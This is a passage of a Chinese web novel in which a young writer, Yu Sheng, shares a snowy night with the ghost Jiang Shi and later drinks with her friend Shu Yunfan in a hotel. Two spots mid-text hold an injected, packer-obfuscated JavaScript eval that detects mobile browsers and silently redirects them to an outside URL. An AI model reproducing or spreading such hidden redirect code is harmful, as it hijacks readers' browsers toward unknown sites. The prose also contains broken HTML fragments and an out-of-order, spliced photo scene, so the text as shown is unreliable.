毕竟心的容量比天大,除了父亲,她们还有彼此。 看到喻声终于弯起嘴角,江时伸手,把她外套的拉链拉到最顶上,遮住她空落落的脖子,确认着喻声的心情:“开心一点了吗?” “嗯。”喻声盘起腿坐,“我是觉得,你也挺适合去写文的,说起话来挺有说服人继续往下听的能力。” 江时一脸苦恼:“但我上学时文章写得很不好,国文课下课时经常被先生提着后领送到我父亲面前,没少因为这个受罚挨骂。” 一开始认识的江时总爱恶作剧,一不顺他的意鬼点子就开始冒出来;后来认识的江时嘴硬心软,和他住到一起后喻声连个鬼影都没见到,有时半夜被惊醒,却好像是幻觉,最后再迷迷糊糊地睡过去。 不管是什么时候认识的他,都处于主导、压制的地位,很难想象他还有被扼住后颈的一面。 活着时候的江时原来是这样的。 很新奇。 很生动。 除此之外,居然也会感到难受。 窥见他不同的一面,更为他如今变成这样感到难受。 喻声把手伸进衣服的兜里,里面空空如也,早上带的那包纸巾已经送给刚刚那个没流眼泪的大叔了。 “你那个时候年纪还很小吧?”喻声问,“年龄太小文章写不好也正常。” “差不多十岁?”江时笑,“但我至死的时候,二十岁,文章依旧写得不好。所以喻声,这看天赋,不看年龄。” ——“很佩服文笔好的人。” ——“这看天赋,不看年龄。” ——“我最喜欢的作者。” 说着没有写作天赋,其他方面的天赋倒是很突出。 他说过的这些话,大概会比烟花更永恒。 喻声想。 他们坐在几棵被雪覆盖得很密的树下,喻声抬眼,比白色更先看到藏匿其中的、葱郁的绿。 冬天还没来,但春天好像真的不远,和他们此刻的距离一样近。 见她久久不回答,江时又问:“在想什么?” 喻声当然不会把在想什么真的跟他说,她转了个话题:“在想,按活着的年龄算,你还得叫我一声姐姐呢。” “喂——” 江时瞪大了双眼,不敢置信,憋了半天憋出一句“没大没小”,偏偏他又不服气,被喻声用她现在正活着就得按活着的年龄算反驳之后,居然还想出用生日在一年的位置来定大小这种无厘头的方法,结果因6月25日确实比10月30日更早而败北。 “弟弟。”喻声眉眼弯弯,“原来你快生日了啊。” “妹妹。”江时冷哼,“今年居然就错过你的生日了啊。” “江时。” “嗯?” “我发现真不能和你离得太近。” “……什么意思?” 喻声很认真:“幼稚真的会传染。” 江时:“……” 他就多余搭话,明明知道她不会说什么漂亮话。 但是,不会说漂亮话的人长得真的好漂亮。 在秋天望春天时也会觉得,她和春天一样漂亮。 ——而他此刻,居然和春天的距离这么近。 江时想。 而他此刻。 不介意更近一点。 江时手撑着地,手掌盖住了喻声流过泪的那块雪,他往前俯身,视线与喻声平行,眼里含着笑意,打趣的语气,温润地,喊了一句喻声。 “太迟了,你没法把我赶走了。” 他说。 “嗯。” 雪没有收敛,絮絮地砸下来,把江时的肩砸得更低。 “所以再幼稚我也只能受着了。” 江时定定地看了眼喻声,慢慢地直起腰,目光又心虚地飘往远处。 她的话像乌鸦喝水时所需的最后一颗石子,再多听一句水会满溢。 原来他介意。 很介意。 离得太近的话会出大事情。 可惜此刻下的是雪,又是深夜,没有夕阳来帮忙解释一下脸上浮现的红是怎么回事。 “喻声。” “嗯?” 江时张了张嘴,话还没说出来,就被手机铃声截下了话口。 喻声往屏幕上望了眼,接通。 是舒云繁。 她那边很吵,估计人群还未散。 “声声,你在哪儿呢?我手机刚刚静音了,现在才看到你给我打了好几个电话。” “人太多了,我出来走走。”喻声问,“篝火晚会还没结束吗?” “快结束了,你要不现在回来?”舒云繁说,“我今晚还没跟你合照呢,要不我们趁着这里还没收场拍两张吧,今晚我要发朋友圈,还没凑够九张图。” 喻声应了声好:“那你在那等我一会儿吧,我现在就回去。” 挂断电话后,喻声撑着围巾站起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373077|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们走吧,该回去了。” 江时点头说好。 喻声刚想伸手捡起围巾,江时动作却比她更快,他站起身,摊开围巾,一圈一圈往她脖子上围。 像雪缠住树那样。 但又不太像。 树很冷,她很暖和。 围巾经他手后依旧干燥,一圈一圈地往里缩紧,下垂的流苏蹭过心脏,于是心脏一圈一圈地往外泛起涟漪,涟漪快散时,有一块木头投进来,正中涟漪的中心,把喻声激得心脏一跳,蓦然回头。 她问着站在她身后的舒云繁:“不是说快收场了吗,怎么还在往火堆里添木头?” 舒云繁捧着不知道第几杯的热奶茶,回答着:“有人还没玩尽兴吧,闹着再来一轮,但我是真不行了,再待下去祖宗十八代都要被扒出来了,我们拍完照就赶紧回去吧。” 江时怕火,喻声进来找舒云繁时就让他在离篝火堆远点的地方站着,但她只找到了舒云繁,没看到舒云霁,于是询问:“那你哥哥呢?不回去吗?” “我哥啊。”舒云繁边挽住喻声的手往人群外走,边说,“有个大叔不让他走,要他留下来一起品鉴诗歌,我哥拗不过大叔,就让我们先走了。” 喻声眨眼,仅用一秒就猜出这个爱念诗的大叔是哪位。 酒醒了,还能拉着人念诗就好。 本来喻声也打算走之前再去看一眼大叔的,怕他在那儿睡到第二天,这下有舒云霁在也不需要了,她可以安心回酒店了。 “那我们自己拍?” “对。”舒云繁从包里掏出拍立得,晃了晃,“我拍立得都跟我哥拿好了。” 用手机拍不难,原相机前置下只需要在不同角度猛烈按下快门,一百张里总能挑出一张好看的。 拍拍立得时困难在需要找人协助,早上牵着马的小女孩刚好在旁边,就请了她帮忙拍一下,小姑娘没用过,举起拍立得时手开始抖,相纸被缓慢推出后她明显很沮丧,双马尾和嘴角竞争着谁更能往下耷拉。 “姐姐,我不会用,好像拍歪了,要不还是找别人帮你们拍吧。” 喻声接过来,和舒云繁凑在一起看。 相纸里也是这样,她和舒云繁挤在了右边。 “不歪,很好看,姐姐很喜欢。”喻声笑着安慰小姑娘,走到她身边,指着相纸的左边细细向她解释着,“你看,你把后面的火堆也一起拍进来了,等以后翻起这张照片,才能想起在哪里拍的;雪树也很漂亮,姐姐住的城市看不到雪,以后会很怀念的;还有——” 喻声的手指停顿在一片空旷上,她抬头,若有所感地往那块地方望了一眼,正正好对上江时的视线。 心头的涟漪又开始泛起。 和正常往外括的涟漪不同的是,它往内缩,缩到中心处,木头从其中跳出来,围巾被江时一圈一圈取了下来,舒云繁刚打来电话,时间一卡一卡重播过去的场景,倒带回江时按下喻声想接听电话的手,第二遍喊她名字的那个时候。 “喻声。” 尾音很缱绻。 “怎么了吗?” “我还有用,所以别不要我。” 雪一直往下落,持续很久,从临山下到东宜,没再停过。 15. 100岁 最后喻声只收了那张“拍得不好”的拍立得,把其他悉数推给了舒云繁。 “你真喜欢那张拍立得啊?” 慢悠悠地走回酒店房间的路上,舒云繁搓了搓因拍照时露出来而快冻僵的手,惊奇地问。 喻声的手往口袋里缩,触及到拍立得冰冷的表面,她悄悄抬起手指划过拍立得的边,笑道:“嗯,有这张就够了。” 到了房间所在的那一层,电梯门打开,喻声和江时先后迈了出来,舒云繁则没动,还停留在电梯里。 喻声转身,向她投去疑惑的目光:“怎么不出来?” 舒云繁笑着挥了挥手,按了电梯门关闭键。 “声声,你先回房间等我一会儿吧,我去买点东西,马上回去。” “不用我陪你吗?” “不用啦,我自己去就行。” 电梯门很快关上,喻声停顿了一下,抬眼看了旁边神色如常的江时,说道:“那我们先回去吧,” 江时没说什么,只点头,他先动身,单手往兜里插,走在喻声前面,不疾不徐。 电梯出来往右拐,顺着走三间,就是喻声和舒云繁的房间,江时的房间还要再往里走,路过第四间时,他陡然慢下步伐,直至停下转身。 喻声没注意,手指在手机上跳跃,低着头往前走,差点往他身上撞。 不是差点,是已经撞上。 但他没什么重量,就像碰上了一团棉花、一道光束,内心的异样远比外表的感觉更甚。 江时嘴角漾起小括弧,却不明显,他的手从兜里伸出来,往后抵了一下喻声的肩膀,很快松开,笑声闷闷,好奇问她:“想去我房间坐坐吗?” 听得出不是揶揄,却有股奇怪的氛围在流转。 “不是说好今晚帮你找找你想看的电影吗?” 喻声收起手机,抬起眼睫,目光往上移,和他的眼睛对上,回答。 话音刚落,喻声才发现她刚刚看到的小括弧不是错觉。 此刻它正深深地印在了江时的嘴角,随着他说话动作小幅度移动着,被走廊的顶灯照得愈发清晰。 “你承诺过的,都会记得这么清楚吗?” 走廊顶灯的光短暂地涌进房间内,又被隔绝,再次和房间的光相接是在三十分钟后,喻声帮江时找好电影后没多停留,回自己的房间去了。 她找的是一部轻喜剧,两个身份悬殊的人因缘邂逅,从互看不顺眼到暗生情愫,男主经历了很长一段时间内心的矛盾纠结后决定顺从情感,勇敢表白,虽然后面仍有挫折阻拦,但最终还是成就了一段幸福浪漫的爱情。 江时对看什么类型的电影没有意见,只是在听喻声说之前卡文的时候很经常反反复复看这一部电影找灵感后,就按下她想继续翻找电影的手,把她手中的遥控器接了过来,说自己看这个就行。 喻声离开后,江时靠着坐在床上,手中转着遥控器,眼睛看着电影,耳朵听着台词,可画面和声音没一处能把他从被喻声占据的思绪中拉扯出来。 不仅喻声记得清楚,他也记得清楚,清楚她的每个回答—— “只要你不是自己想走,你可以一直待在我身边。” “承诺过的当然就要记得啊。” 他没怎么感受过爱,存在世间一百多年,也不知道爱具体是怎么样的,看多了喻声写的文章后,也渐渐从她的笔下情节中间接明白了爱是什么。 爱是你开始觉得某个人变得珍重。 爱是你开始觉得拥有了属于自己的星星。 但他很笨,时至今日,还有很多不懂的。 看文时,有个很拗口的名词他没法理解,喻声告诉他,感官会将记忆和情感绑定,在她笔下,这种情感通常是爱。 在他听到她即使反应慢半拍仍坚定的答案,闻到雪的味道,看到她瞳孔里他的影子代替拍立得上的他出现时,他终于把一切都记得清楚、再理清。 很拗口的名词叫普鲁斯特效应。 他的听觉、嗅觉、视觉、记忆,都在表达爱。 替他暂时不敢说出口的话表达爱。 远远不止这些。 江时敛下眼,电视机莹莹发出的光照着他堪堪浮现的念头—— 他终于。 也开始拥有了属于自己的星星。 一颗很珍重的星星。 他和喻声说,人并非只能拥有一颗星星,可对于他自己而言,他没法把多颗星星放在一起衡量。 他只会拥有一颗星星。 独一无二的、找寻了一百年的、在他这里完完全全属于他的。 - 喻声离开江时的房间往自己房间走时,刚好和出了电梯往房间走的舒云繁迎面撞上。 喻声的视线从舒云繁脸上转移到她手中提的一整袋啤酒上,舒云繁的视线则从喻声脸上转移到房间门口放着的炸物外卖上。 舒云繁说:“我记得你上楼时说今晚还没喝到酒。” 喻声也说:“我记得你上楼时说今晚喝了个水饱,肚子还是觉得空空如也的。” 两人再一对视,都扑哧笑作一团。 舒云繁笑着解释:“可惜实在没有找到卖热红酒的,我们只能将就喝啤酒了。” “我也是,外卖是你走后我才点的,时间太晚了,攻略上那家你想吃的特色烧烤店关门了,只能吃点炸串了。”喻声弯腰捡起地上的外卖袋子,倚在墙上等舒云繁把房间门打开,“不过——” 舒云繁摁下门把手,拧开,侧身进房间,补充着喻声未说完的话:“不过这样就很好。” 不尽如人意也很好。 小满胜万全。 喻声笑着应了声对。 房间的中央是床,左侧是卫生间,除此之外也就电视机下贴着墙的一长条桌子,但坐那吃饭喝酒也挺无趣,最后一合计,直接拉开窗帘靠着床边席地而坐,啤酒和食物摆了一地,就着夜景开启两人的夜聊时间。 外套脱掉,暖气打开,喻声和舒云繁屈腿披着同一条毯子坐在一起,在跋山涉水从东宜背来的小音箱舒缓的轻音乐声中用指尖用力扣开易拉罐的拉环,咣地一声碰杯,再一猛喝,把所有晃动产生的泡沫压进喉咙里,鲜少喝酒的两人都被巨大一口辣得眯眼,开心从眼尾被挤了出来,被编进了音乐里。 这样仿佛连时钟都停摆的时刻太过珍贵。 不知不觉间半瓶啤酒下肚。 酒精最能撬开人的牙关,舒云繁手支着脑袋,问喻声相不相信一见钟情。 喻声笑,举起易拉罐又跟舒云繁碰了下杯,在她怔愣着没喝时叉了块炸鸡塞进她嘴里,说:“我信不信不重要,你信就足够了。” 见舒云繁还是没懂,喻声眉眼弯弯地提醒她:“我都把剩下的拍立得全留给你了,还跟我打哑谜呢。” 虽然喻声一直在安慰小姑娘,但她的头还是摇成了拨浪鼓,双马尾是拨浪鼓两侧的小弹丸,说什么也不再继续拍了。 倒也不好再为难她。 只能重新寻人。 络绎的游客中,舒云繁一眼就相中了一个男生,和喻声咬耳朵时说他看起来就很会拍,喻声笑着小声反问她是从哪里悟出的这一点,舒云繁扬扬眉说直觉,撒开喻声的手就蹦上前询问能不能帮个忙。 “他确实拍得不错。”喻声点评,叉子拐了个弯又叉起一块炸鸡送进了自己嘴里,继续往下点评,“不过这哪里是直觉啊,就算他拍得不好你也会闭眼夸的吧。” 舒云繁哀嚎一声,手一撑站起身,从外套口袋里把所有拍立得取出来,尽数往喻声面前摆。 “所以你再挑两张走吧,我还真以为你就喜欢头一张呢。” 喻声笑着把所有拍立得一股脑地推还给舒云繁。 “我刚跟你开玩笑呢,我是真就喜欢头一张。” 拍照技术的好坏太过主观,能不能拍到想要的才是客观的。 即使那张拍立得上喻声想要的是否存在也是由她主观判断的,但终究和剩下的那几张拍立得有所不同。 “那你要到那个男生的联系方式了吗?” 喻声问。 “篝火晚会那会儿就要到了。”舒云繁答,“我要多给他发点消息,让他习惯我的存在。” “俗话说得好,温水煮青蛙。”她笑眯眯,“毕竟习惯可是新感情的开始啊。” 习惯是新感情的开始吗? 喻声怔住。 蓦然一声振响,房间没开灯,地板上有新消息的手机屏幕亮得突兀,喻声放下手中的易拉罐,俯身摸过手机查看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373078|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑海中浮现的名字就这么飘啊飘,降落在屏幕上。 一念即达。 江时:「下次有空。」 江时:「再一起看星星吧。」 喻声笑了一下:「好。」 她往窗外望了一眼。 房间楼层挺高,一览无余,能看到对面山上的树,竟有几棵没被雪覆盖住,和她今晚坐在树下想的一样,在夜色中,在月光下,也能透出她喜欢的、葱郁的绿。 喻声很快收敛视线,落回聊天界面上,还没熄灭的手机屏幕上映着某张八卦的脸,喻声敲着屏幕的手指不觉一顿,她挑眉抬眼,自然地把手机关上放置一边,重新缩回毯子里,问舒云繁:“怎么这么看着我?” 舒云繁本着调侃的心思,看她一脸坦然也突然有点拿不准:“是谁啊?看你笑得这么开心。” 喻声又喝了口啤酒,想了想,郑重其事:“是个鬼。” 舒云繁:“……?” “声声啊。”她犹豫着问,“这是不是我第一次听到你说脏话?” 喻声一愣,才反应过来,她连连摆手,笑得整个人往床上仰,手中握着的啤酒瓶差点不稳。 “不是说脏话。”喻声不知道怎么介绍江时,“以后有机会,再介绍你们认识吧。” “行啊。”舒云繁被她的笑声感染,自己也笑出声,“我怎么感觉你没喝多少就开始有点醉了啊。” “嗯。”喻声头枕在床沿,声音很轻,“这次是真喝醉了。” 舒云繁恍惚想起喻声生病那次。 那天晚上,她们俩也是这么挨着坐,清粥小菜就着喝没喝酒的话题讨论半天,并非感性,却也突然觉得那日的幸福就这么如水一般淌到了今日。 她稍微扯开了点毯子避免沾到食物,拿起叉子在外卖盒里拨了拨,终于找到了个饺子,叉着咬了一口,味道比那天要好太多。 哪里好太多呢? 舒云繁自己也说不清。 “那次就不是真喝醉了?” “不是,那次说的话都是清醒下说的。” “比如?” “比如我还欠着你一顿大餐呢。” 舒云繁很快就知道不清醒下说的话、做的事是怎么样的了。 喻声挣扎着坐直身体,把早已喝空的啤酒瓶随意丢在一旁,手在地上摸索着,半天找不到想要的,她泄气般地把头仰倒在床沿,又吃痛弹回,才发现找了半天的手机被她随手扔在了床上。 顾不得揉头,喻声解锁手机,不吭声地滑动半天,旁边的舒云繁一脸疑惑凑上前,倒转的手机界面也很好辨认,是某个外卖软件的商家页。 “……你要干嘛?” “请你吃大餐啊。” “……”舒云繁伸手把屏幕盖住,试图阻止,“我们地上这些还没吃完呢。” 喻声瞥了一眼地面,整个人往后挪,连带着手机也和舒云繁的掌心错开距离,她十分执拗地摇头:“不够,说好的是大餐的。” 舒云繁的手僵在半空,她无奈:“那你就当我已经吃了好不好?” “那不行。”喝醉了的脑袋简直迟钝,喻声费力地想了想,“我今晚刚答应了别人,只要是承诺就要记得,并且做到的。” 舒云繁来了兴趣:“今晚?是刚刚发信息的那个吗?” 怎么能指望醉鬼记得发信息的是哪个,执拗的醉鬼只记得自己做过的承诺:“就舒舒打电话前,不是问我能不能别不要你吗,我答应了呀。” 舒云繁:“……!” 在巨大的瓜面前,怎么突然觉得自己一见钟情根本不算个事啊。 舒云繁在持续宕机中,那头的喻声已经噼里啪啦点好了一堆东西,她乖巧地放下手机,拍了拍舒云繁的肩头,留下一句“你要好好吃哦”就沉沉睡去,把舒云繁所有的疑问都一并拦截。 ——怎么拦截得住啊。 完全没断片的喻声默默地想。 她刚醒,天空鱼肚白,地上一片狼籍,糖水碗、锡纸盒、奶茶杯、还有个不知道哪里出现的八英寸蛋糕,糖水浸泡过的水果部分被洗劫一空,剩下些白花花的奶油,映着旁边显然一夜未睡的舒云繁的脸更加阴恻恻的。 “醒了?可以老实交待了吧?” 喻声:“……”